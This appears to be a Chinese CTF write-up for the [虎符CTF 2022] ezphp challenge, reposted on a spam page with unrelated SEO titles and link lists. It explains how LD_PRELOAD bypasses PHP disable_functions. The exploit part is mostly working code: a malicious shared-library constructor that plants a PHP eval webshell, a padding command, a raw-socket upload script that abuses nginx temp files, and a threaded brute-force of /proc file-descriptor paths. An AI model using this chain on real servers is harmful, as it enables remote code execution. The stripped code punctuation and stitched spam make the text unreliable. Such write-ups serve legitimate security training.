当前位置: 首页 > news >正文

东莞社保官方网站青岛做网站那家好

东莞社保官方网站,青岛做网站那家好,dedecms织梦搬家公司网站模板,新型网站设计文章目录 原理LD_PRELOAD介绍如何上传.so文件 例题 [虎符CTF 2022]ezphp 原理 LD_PRELOAD介绍 LD_PRELOAD是Linux系统的一个环境变量#xff0c;它可以影响程序的运行时的链接#xff08;Runtime linker#xff09;#xff0c;它允许你定义在程序运行前优先加载的动态链接… 文章目录 原理LD_PRELOAD介绍如何上传.so文件 例题 [虎符CTF 2022]ezphp 原理 LD_PRELOAD介绍 LD_PRELOAD是Linux系统的一个环境变量它可以影响程序的运行时的链接Runtime linker它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量我们可以在主程序和其动态链接库的中间加载别的动态链接库甚至覆盖正常的函数库。一方面我们可以以此功能来使用自己的或是更好的函数无需别人的源码而另一方面我们也可以以向别人的程序注入程序从而达到特定的目的。 什么是链接 程序的链接主要有以下三种 静态链接在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序之后不再拆开。 装入时动态链接源程序编译后所得到的一组目标模块在装入内存时边装入边链接。 运行时动态链接原程序编译后得到的目标模块在程序执行过程中需要用到时才对它进行链接。对于动态链接来说需要一个动态链接库其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的可执行程序无需重新编译方便程序的发布/维护/更新。但是由于程序是在运行时动态加载这就存在一个问题假如程序动态加载的函数是恶意的就有可能导致disable_function被绕过。 使用LD_PRELOAD绕过的条件 能够上传自己的.so文件 能够控制环境变量的值设置LD_PRELOAD变量比如putenv函数 存在可以控制PHP启动外部程序的函数并能执行因为新进程启动将加载LD_PRELOAD中的.so文件比如mail()、imap_mail()、mb_send_mail()和error_log()等当我们能够设置环境变量比如putenv函数未被禁止我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径只要启动新的进程就会在新进程运行前优先加载该恶意.so文件由此恶意代码就被注入到程序中。 如何上传.so文件 利用Nginx 在后端 Fastcgi 响应过大产生临时文件和竞争包含去解决 详细可参考[HXPCTF 2021]includer’s revenge 简单的RCE就是可以蚁剑连接后在/tmp下上传难的话就像下面的例题 例题 [虎符CTF 2022]ezphp 源码如下 ?php (empty($_GET[env])) ? highlight_file(__FILE__) : putenv($_GET[env]) system(echo hfctf2022);? 就是简单的三元运算符存在参数env 首先恶意.so文件的构造 创建1.c文件写入一句话木马写到shell.php #include stdlib.h #include stdio.h #include string.h__attribute__ ((__constructor__)) void angel (void){unsetenv(LD_PRELOAD);system(echo \?php eval(\\$_POST[cmd]);?\ /var/www/html/shell.php); }注\\是为了防转义(\\\待定) 然后在Linux系统下用自带的gcc进行编译 gcc -shared -fPIC 1.c -o 1.so增大so文件的大小在so文件尾部加入脏字符 vardd if/dev/zero bs1c count10000 | tr \0 c再执行 echo $var 1.so可以看到文件是变大了 然后上脚本 脚本一向网站发包 from threading import Thread import requests import socket import timeport 28552 host node2.anna.nssctf.cndef do_so():data open(1.so, rb).read()packet fPOST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) 11}\r\n\r\npacket packet.encode()packet datas socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.sendall(packet)time.sleep(10)s.close()if __name__ __main__:do_so()脚本二爆破一下pid import requests from threading import Threadport 28552 host node2.anna.nssctf.cndef ldload(pid, fd):sopath f/proc/{pid}/fd/{fd}print(sopath)r requests.get(fhttp://{host}:{port}/index.php, params{env:fLD_PRELOAD{sopath}})return rif __name__ __main__:# ldload(20, 20)for pid in range(12, 40):for fd in range(1, 40):t Thread(targetldload, args(pid, fd))t.start()在Linux同时运行脚本当然windows也行 python3 1.py python3 2.py通过脚本一直往服务器传写入so文件 传入成功后在/shell.php直接命令执行
http://www.sczhlp.com/news/170017/

相关文章:

  • 站长工具集推广搜索引擎
  • 用jsp做一网站的流程宁波企业建站系统
  • wordpress getcategorylinkseo站内站怎么做
  • 58同城类似的网站怎么做那些网站是专门做一些调研的
  • 企业网站管理系统设计与实现小程序开发入门教程
  • 怎么在自己电脑上搭建网站室内设计联盟邀请码怎么获得
  • 汝州市文明建设网站淘宝客网站建设的策略
  • 祥云平台网站建设怎么收费网页版qq登录方法
  • 个人网站开发需求分析淘宝返利网站怎么做
  • 手机网站建设要注意哪些问题静态网站特点
  • 中牟网站建设推广app用什么平台比较好
  • 鄢陵网站建设电脑建站做一名网络写手去那个网站好
  • 透明网站模板民和县wap网站建设公司
  • 实用指南:Hardening fixes lead to hard questions
  • 赛前训练6 状压
  • 排序综合
  • 骨科医院网站优化服务商c2c模式分类
  • 广州建站网站视频拍摄软件
  • 网站建设项目登记表wordpress是国外服务器吗
  • 有没学做早餐的网站手机版wordpress
  • 医院网站建设规划书百度指数人群画像哪里查询
  • 男人做爽的免费网站做展示空间设计的网站
  • 无锡市建设局一号通网站专业设计网站有哪些
  • 网站导航条内容吃什么补肾壮阳
  • 网站建设怎么做?手机网站设计趋势
  • 做网站的软件是是什么做户外旅游网站
  • 河北省建设信息中心网站网站建设开发流程
  • 苏州网站设计长沙做网站zwnet
  • 建设电器网站目的及功能定位wordpress电影分享主题
  • 网站创建公司哪家好青岛城乡建筑设计院有限公司